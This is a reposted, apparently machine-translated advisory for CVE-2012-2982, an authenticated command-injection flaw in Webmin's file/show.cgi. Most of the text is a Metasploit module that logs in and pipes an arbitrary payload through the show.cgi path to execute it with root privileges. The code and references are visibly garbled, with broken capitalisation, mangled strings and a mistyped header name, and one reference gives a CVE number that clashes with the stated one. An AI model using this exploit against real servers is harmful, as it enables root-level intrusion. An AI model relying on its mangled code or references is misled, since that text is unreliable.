Webmin/file/show. cgi Remote Command Execution Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
Webmin <= 1.590
Description:
--------------------------------------------------------------------------------
Bugtraq id: 55446
Cve id: CVE-2012-2982

Webmin is a Web interface for managing Unix systems. You can use any browser to set user accounts, Apache, DNS, DNS, file sharing, and others.

A security vulnerability exists in file/show. cgi of Webmin 1.590 and earlier versions, allowing remote users who pass identity authentication to execute arbitrary commands through invalid characters in the path name.

<* Source: Metasploit

Link: http://www.kb.cert.org/vuls/id/788478
Http://www.exploit-db.com/exploits/21851/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Require 'msf/core'

Class Metasploit3 <Msf: Exploit: Remote
Rank = ExcellentRanking

Include Msf: Exploit: Remote: HttpClient

Def initialize (info = {})
Super (update_info (info,
'Name' => 'webmin/file/show. cgi Remote Command Execution ',
'Description' => % q {
This module exploits an arbitrary command execution vulnerability in Webmin
1.580. The vulnerability exists in the/file/show. cgi component and allows
Authenticated user, with access to the File Manager Module, to execute arbitrary
Commands with root privileges. The module has been tested successfully with Webim
1.580 over Ubuntu 10.04.
},
'Author' => [
'Unknown ', # From American Information Security Group
'Juan vazquez' # Metasploit module
],
'License '=> MSF_LICENSE,
'References '=>
[
['Ossvdb', '123'],
['Bid', '123'],
['Cve', '2017-2012 '],
['Url', 'HTTP: // www.americaninfosec.com/research/dossiers/aisg-12-001.20.'],
['Url', 'https: // URLs
],
'Privileged' => true,
'Payload' =>
{
'Disablenops' => true,
'Space' => 512,
'Compat' =>
{
'Payloadtype' => 'cmd ',
'Requiredcmd' => 'generic perl bash telnet ',
}
},
'Platform' => 'unix ',
'Arch '=> ARCH_CMD,
'Targets' => [['webim 1.580 ', {}],
'Disclosuredate' => 'sep 06 2012 ',
'Defaulttarget' => 0 ))

Register_options (
[
Opt: RPORT (10000 ),
OptBool. new ('ssl ', [true, 'use SSL', true]),
OptString. new ('username', [true, 'webmin username']),
OptString. new ('Password', [true, 'webmin password'])
], Self. class)
End

Def check

Peer = "# {rhost }:# {rport }"

Print_status ("# {peer}-Attempting to login ...")

Data = "page = % 2F & user = # {datastore ['username']} & pass = # {datastore ['Password']}"

Res = send_request_cgi (
{
'Method' => 'post ',
'Url' => "/session_login.cgi ",
'Cookies' => "testing = 1 ",
'Data' => data
}, 25)

If res and res. code = 302 and res. headers ['set-cooker'] = ~ /Sid/
Print_good "# {peer}-Authentication successful"
Session = res. headers ['set-cooker']. split ("sid =") [1]. split (";") [0]
Else
Print_error "# {peer}-Authentication failed"
Return Exploit: CheckCode: Unknown
End

Print_status ("# {peer}-Attempting to execute ...")

Command = "echo # {rand_text_alphanumeric (rand (5) + 5 )}"

Res = send_request_cgi (
{
'Url' => "/file/show. cgi/bin/# {rand_text_alphanumeric (5) }|#{ command} | ",
'Cookies' => "sid =#{ session }"
}, 25)


If res and res. code = 200 and res. message = ~ /Document follows/
Return Exploit: CheckCode: Appears
Else
Return Exploit: CheckCode: Safe
End

End

Def exploit

Peer = "# {rhost }:# {rport }"

Print_status ("# {peer}-Attempting to login ...")

Data = "page = % 2F & user = # {datastore ['username']} & pass = # {datastore ['Password']}"

Res = send_request_cgi (
{
'Method' => 'post ',
'Url' => "/session_login.cgi ",
'Cookies' => "testing = 1 ",
'Data' => data
}, 25)

If res and res. code = 302 and res. headers ['set-cooker'] = ~ /Sid/
Session = res. headers ['set-cooker']. scan (/sid \ = (\ w +) \; */). flatten [0] |''
If session and not session. empty?
Print_good "# {peer}-Authentication successfully"
Else
Print_error "# {peer}-Authentication failed"
Return
End
Print_good "# {peer}-Authentication successfully"
Else
Print_error "# {peer}-Authentication failed"
Return
End

Print_status ("# {peer}-Attempting to execute the payload ...")

Command = payload. encoded

Res = send_request_cgi (
{
'Url' => "/file/show. cgi/bin/# {rand_text_alphanumeric (rand (5) + 5) }|#{ command} | ",
'Cookies' => "sid =#{ session }"
}, 25)


If res and res. code = 200 and res. message = ~ /Document follows/
Print_good "# {peer}-Payload executed successfully"
Else
Print_error "# {peer}-Error executing the payload"
Return
End

End

End

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Webmin
------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.webmin.com/webmin/

Related Article

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.